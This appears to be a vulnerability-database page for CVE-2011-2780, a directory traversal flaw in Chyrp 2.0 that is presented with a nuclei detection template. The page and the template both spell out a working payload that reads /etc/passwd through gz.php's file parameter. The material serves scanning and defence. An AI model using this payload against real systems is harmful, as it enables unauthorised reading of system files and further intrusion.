HexBrain

Browse / CVEs / CVE-2011-2780

CVE-2011-2780· chyrp / chyrp· CWE-22

Chyrp 2.x - Local File Inclusion

mediumseverity
5CVSS score
13%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in includes/lib/gz.php in Chyrp 2.0 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2011-2744.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2011-2780 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2011-2780

info:
  name: Chyrp 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in includes/lib/gz.php in Chyrp 2.0 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2011-2744.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - http://www.justanotherhacker.com/advisories/JAHx113.txt
    - http://www.openwall.com/lists/oss-security/2011/07/13/5
    - http://www.ocert.org/advisories/ocert-2011-001.html
    - http://www.openwall.com/lists/oss-security/2011/07/13/6
    - http://securityreason.com/securityalert/8312
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/68565
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-2780
    cwe-id: CWE-22
    epss-score: 0.12991
    epss-percentile: 0.96363
    cpe: cpe:2.3:a:chyrp:chyrp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chyrp
    product: chyrp
  tags: cve,cve2011,lfi,chyrp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from